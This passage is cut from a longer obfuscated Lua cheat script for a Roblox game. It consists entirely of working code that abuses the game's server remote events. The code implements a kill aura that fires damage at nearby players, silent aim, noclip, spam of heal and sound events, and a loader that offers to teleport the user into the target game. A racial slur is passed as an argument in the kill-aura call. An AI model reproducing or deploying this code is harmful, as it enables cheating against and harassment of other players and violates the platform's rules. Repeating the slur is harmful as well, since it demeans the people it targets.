man",function() sendnotification("thanks to whoever made this ui lib") end) function ren(f) game:GetService("RunService").RenderStepped:Connect(f) end function her(f) game:GetService("RunService").Heartbeat:Connect(f) end function ste(f) game:GetService("RunService").Stepped:Connect(f) end function wwd(t,f) coroutine.resume(coroutine.create(function()while wait(t)do f()end end)) end ste(function() if var.nocol and IsValid(LocalPlayer) then for i,v in ipairs(LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and var.nocol and v.CanCollide then v.CanCollide = false end end end end) coroutine.resume(coroutine.create(function() while wait(var.looprandomoutfitstime) do if var.looprandomoutfits then local ranomdoutfit = var.outfits[math.random(1,#var.outfits)] game:GetService('ReplicatedStorage'):FindFirstChild('Events').MenuActionEvent:FireServer(8,{ranomdoutfit.Name;ranomdoutfit.ID;true}) end end end)) wwd(.1,function() if var.silentaim then local dist = math.huge local mouse = game:GetService("UserInputService"):GetMouseLocation() for i,v in pairs(Players:GetPlayers()) do if IsValid(v) and v ~= LocalPlayer then local _,m = game:GetService("Workspace").Camera:WorldToScreenPoint(v.Character:GetPivot().p) local j = workspace.Camera:WorldToViewportPoint(v.Character:GetPivot().p) local k = (Vector2.new(mouse.x,mouse.y)-Vector2.new(j.x,j.y)).magnitude if k <= dist and k <= (var.ss or 500) then dist = k sel = v end end end end end) ren(function() if var.noclip and IsValid(LocalPlayer) then LocalPlayer.Character:WaitForChild('Humanoid'):ChangeState(11) end if var.cursor and Mouse.Icon ~= "" and Mouse.Icon ~= "rbxasset://textures/ArrowFarCursor.png" then if var.cursor and var.cursorid ~= "" then Mouse.Icon = "rbxassetid://"..var.cursorid else Mouse.Icon = "rbxassetid://2872049636" end end if var.errall then getrenv()._G.Triggered(game:GetService("Lighting"), sounds[math.random(1,5)],"") end if var.uiop then local c = LocalPlayer.Character:GetPivot() LocalPlayer.Character:PivotTo(c + c.LookVector * var.walkspeeds) end end) wwd(.5,function() if var.antispy then for i,v in pairs(Players:GetPlayers()) do if var.antispy and IsValid(v) then for i2,v2 in ipairs(v.Character:GetChildren()) do if v2:IsA("MeshPart") then v2.Transparency = 0 end if v2.Name:find("NameTag") and v2.Enabled ~= true then v2.Enabled = true end end end end end if var.healaura and IsTool(LocalPlayer) and GetTool(LocalPlayer) ~= nil and GetTool(LocalPlayer).Name:find("Medi") then for i,v in pairs(Players:GetPlayers()) do if v ~= LocalPlayer and IsValid(v) and not table.find(healaurablacklist,v.Name) and v.Character:FindFirstChild("Humanoid").Health ~= 0 and v.Character:FindFirstChild("Humanoid").Health ~= v.Character:FindFirstChild("Humanoid").MaxHealth and magnitudeplrs(LocalPlayer,v,30) then for i=1,40 do game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(5, v.Character.Humanoid) wait(.0468) game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(5, GetTool(LocalPlayer)) end end end end save() end) while wait(var.kaft) do if var.killaura then for i,v in ipairs(Players:GetPlayers()) do if IsValid(v) and v ~= LocalPlayer and not IsSemiGodded(v) and not Friend(v) and canbekilled(v) and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG, v.Name) and not table.find(wrugjetutnwienbueijientbietbietbietibneitbnetitbjeiotbmeiotbhietbh,v.Name) and not table.find(kawhitelist,v.Name) and magnitudeplrs(LocalPlayer,v,var.kara) and v.Character:FindFirstChild("Humanoid").Health ~= 0 then if GetGun(LocalPlayer) and GetGun(LocalPlayer):GetAttribute("Ammo") ~= 0 and #game:GetService("Workspace").CurrentCamera:GetPartsObscuringTarget({v.Character:GetPivot().p}, {v.Character, LocalPlayer.Character}) == 0 then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(33,v.Character:WaitForChild('Head').CFrame,2,v.Character.Humanoid,GetGun(LocalPlayer):GetAttribute("Damage"),GetGun(LocalPlayer),nil,1,"nigger") end end end end end setcoregui:Disconnect() loader("Loading Complete, Enjoy!",UDim2.new(0, 147, 0, 56)) wait(.7) Loader:Destroy() elseif _G.pianoloaded then senderror("Piano Already Loaded") else local note_4 = Instance.new("Sound",game:GetService("CoreGui")) note_4.SoundId = "rbxassetid://6432593850" note_4:Play() local bindable = Instance.new("BindableFunction") function bindable.OnInvoke(j) if j == "Yes" then game:GetService("TeleportService"):Teleport(2262441883) end end game:GetService("StarterGui"):SetCore("SendNotification", { Title = "! Wrong Game !", Text = "Teleport to Electric State?", Duration = 5, Callback = bindable, Button1 = "Yes", Button2 = "No", }) end